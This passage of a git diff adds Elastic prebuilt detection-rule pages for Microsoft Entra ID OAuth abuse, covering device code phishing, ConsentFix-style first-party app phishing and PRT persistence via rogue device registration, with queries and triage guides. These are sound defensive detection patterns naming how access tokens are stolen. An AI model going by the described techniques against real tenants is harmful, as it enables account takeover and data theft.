remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + +This rule optionally requires Azure Sign-In logs from the Azure integration. Ensure that the Azure integration is correctly set up and that the required data is being collected. + + +==== Rule query + + +[source, js] +---------------------------------- + event.dataset:(azure.activitylogs or azure.signinlogs) + and azure.signinlogs.properties.authentication_protocol:deviceCode + and azure.signinlogs.properties.conditional_access_audiences.application_id:29d9ed98-a469-4536-ade2-f981bc1d605e + and event.outcome:success or ( + azure.activitylogs.properties.appId:29d9ed98-a469-4536-ade2-f981bc1d605e + and azure.activitylogs.properties.authentication_protocol:deviceCode) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc new file mode 100644 index 0000000000..a863937ff5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-unusual-user]] +=== Entra ID OAuth Device Code Grant by Unusual User + +Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aadinternals.com/post/phishing/ +* https://www.blackhillsinfosec.com/dynamic-device-code-phishing/ +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-authentication-flows +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic +* Matteo Potito Giorgio + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Grant by Unusual User* + + +This rule detects the first instance of a user authenticating via the DeviceCode authentication protocol within the historical window. The DeviceCode authentication workflow is designed for devices that lack keyboards, such as IoT devices and smart TVs. However, adversaries can abuse this mechanism by phishing users and stealing authentication tokens, leading to unauthorized access. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.user_id` to identify the user involved. +- Confirm that `azure.signinlogs.properties.authentication_protocol` is set to `deviceCode`. +- Verify the application through `azure.signinlogs.properties.app_display_name` and `azure.signinlogs.properties.app_id` to determine if it is expected. +- Check `source.ip` and compare it with previous authentication logs to determine whether the login originated from a trusted location. +- Analyze `source.geo.city_name`, `source.geo.region_name`, and `source.geo.country_name` to confirm whether the login location is suspicious. +- Review `source.as.organization.name` to check if the IP is associated with a known organization or cloud provider. +- Review `azure.signinlogs.properties.applied_conditional_access_policies` and `azure.signinlogs.properties.conditional_access_status` to determine if MFA or conditional access policies were enforced or bypassed. +- Look at `azure.signinlogs.properties.authentication_details` to confirm how authentication was satisfied. +- Review `azure.signinlogs.properties.device_detail.browser` and `user_agent.original` to determine if the login aligns with expected device behavior. +- Verify `azure.signinlogs.properties.client_app_used` to confirm whether the login was performed using a known client. +- Check if the user recently reported phishing attempts or suspicious emails. +- Look for recent changes in the user’s account settings, including password resets, role changes, or delegation of access. +- Review if other users in the environment have triggered similar DeviceCode authentication events within the same timeframe. + + +*False positive analysis* + + +- If the user is setting up a new device (e.g., a smart TV or kiosk), this authentication may be expected. +- Some legitimate applications or scripts may leverage the DeviceCode authentication protocol for non-interactive logins. +- In cases where shared workstations or conference room devices are in use, legitimate users may trigger alerts. +- If the user is traveling or accessing from a new location, confirm legitimacy before taking action. + + +*Response and remediation* + + +- Immediately revoke any access tokens associated with this authentication event. +- Review additional authentication logs, application access, and recent permission changes for signs of compromise. +- Reset the affected user’s credentials and enforce stricter MFA policies for sensitive accounts. +- Restrict DeviceCode authentication to only required applications. +- Enable additional logging and anomaly detection for DeviceCode logins. +- If phishing is suspected, notify the affected user and provide security awareness training on how to recognize and report phishing attempts. +- Limit DeviceCode authentication to approved users and applications via conditional access policies. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:(azure.activitylogs or azure.signinlogs) + and ( + azure.signinlogs.properties.authentication_protocol:deviceCode or + azure.signinlogs.properties.original_transfer_method:deviceCodeFlow or + azure.activitylogs.properties.authentication_protocol:deviceCode + ) + and event.outcome:success + and azure.signinlogs.properties.user_type:* + and not azure.signinlogs.properties.app_id:( + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "d5a56ea4-7369-46b8-a538-c370805301bf" or + "80faf920-1908-4b52-b5ef-a8e7bedfc67a" or + "97877f11-0fc6-4aee-b1ff-febb0519dd00" or + "245e1dee-74ef-4257-a8c8-8208296e1dfd" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "74bcdadc-2fdc-4bb3-8459-76d06952a0e9" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "a850aaae-d5a5-4e82-877c-ce54ff916282" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc new file mode 100644 index 0000000000..51e134bb6f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc @@ -0,0 +1,255 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs]] +=== Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS) + +Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 60m + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)* + + +This rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens. + + +*Possible Investigation Steps:* + + +- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes. +- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state. +- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations. +- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement. +- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated. +- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments. +- `incoming_token_type`: Look for values like `"none"` or `"refreshToken"` that can indicate abnormal or re-authenticated activity. +- `token_session_status`: A value of `"unbound"` means the issued token is not tied to a device or CAE session, making it reusable from another IP. +- `conditional_access_status`: If this is `"notApplied"`, it may indicate that expected access policies were not enforced. +- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window. +- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity. +- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`. +- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts. +- Search for other activity from the same IPs across all users to identify horizontal movement. + + +*False Positive Analysis* + + +- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage. +- Some identity management agents or EDR tools may use MAB for background device registration flows. +- Developers or IT administrators may access DRS across environments when testing. + + +*Response and Remediation* + + +- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices. +- Notify the user and verify if the authentication or device join was expected. +- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust. +- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents. +- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index +| where + event.dataset == "azure.signinlogs" and + event.outcome == "success" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.identity is not null and + azure.signinlogs.properties.user_principal_name is not null and + source.address is not null and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and // MAB + azure.signinlogs.properties.resource_id == "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" // DRS + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id, + Esql.is_browser_case = case( + to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*", 1, 0 + ) + +| stats + Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier), + + Esql.source_geo_city_name_values = values(source.geo.city_name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_region_name_values = values(source.geo.region_name), + Esql.source_address_values = values(source.address), + Esql.source_address_count_distinct = count_distinct(source.address), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + + Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive), + + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status), + Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + + Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id), + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id), + + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated), + + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.user_agent_original_values = values(user_agent.original), + Esql.is_browser_case_max = max(Esql.is_browser_case), + + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + azure.signinlogs.properties.user_principal_name, + azure.signinlogs.properties.session_id + +| keep + Esql.time_window_date_trunc, + Esql_priv.azure_signinlogs_properties_user_display_name_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_unique_token_identifier_values, + Esql.source_geo_city_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_region_name_values, + Esql.source_address_values, + Esql.source_address_count_distinct, + Esql.source_as_organization_name_values, + Esql.azure_signinlogs_properties_authentication_protocol_values, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_is_interactive_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values, + Esql.azure_signinlogs_properties_session_id_count_distinct, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_app_owner_tenant_id_values, + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_risk_level_aggregated_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.user_agent_original_values, + Esql.is_browser_case_max, + Esql.event_count + +| where + Esql.source_address_count_distinct >= 2 and + Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and + Esql.is_browser_case_max >= 1 and + Esql.event_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..abfd601734 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-phishing-via-first-party-microsoft-application]] +=== Entra ID OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. Because first-party apps are pre-consented and cannot be blocked, attackers use them to bypass consent prompts and access user data without triggering typical OAuth alerts. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a high-value target (privileged roles, executives, IT admins). +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim's location. +- Check `azure.signinlogs.properties.app_display_name` to confirm which first-party application was used. Azure CLI or PowerShell access by non-developers is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `azure.signinlogs.properties.is_interactive` - non-interactive sign-ins shortly after interactive ones from different IPs indicate token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API activity from the same session or user from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe, which may indicate persistence attempts. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code to access Microsoft Graph or Azure AD. +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Users working from multiple locations (VPN, travel) may show different IPs. +- Consider excluding known developer machines, managed devices, or specific user groups that regularly use these tools. +- Maintain an allowlist of expected source IPs tied to corporate infrastructure or developer environments. + + +*Response and remediation* + + +- Contact the user immediately to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, revoke all refresh tokens for the user via Microsoft Entra ID portal or PowerShell. +- Review the user's recent Microsoft Graph activity (email access, file downloads, Teams messages) for signs of data exfiltration. +- Block the source IP if confirmed malicious. +- Check for any devices registered during this session via `azure.auditlogs` and remove unauthorized device registrations. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices only. +- Educate users about OAuth phishing and the risks of pasting authorization codes into websites. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and +event.action: "Sign-in activity" and +event.outcome: "success" and +( + ( + azure.signinlogs.properties.app_id: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and ( + azure.signinlogs.properties.resource_id: ("00000003-0000-0000-c000-000000000000" or "00000002-0000-0000-c000-000000000000") or + azure.signinlogs.properties.resource_display_name: ("Microsoft Graph" or "Windows Azure Active Directory") + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and ( + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" or + azure.signinlogs.properties.resource_display_name: "Windows Azure Active Directory" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc new file mode 100644 index 0000000000..5d1f1108a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-prt-issuance-to-non-managed-device-detected]] +=== Entra ID OAuth PRT Issuance to Non-Managed Device Detected + +Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-60m 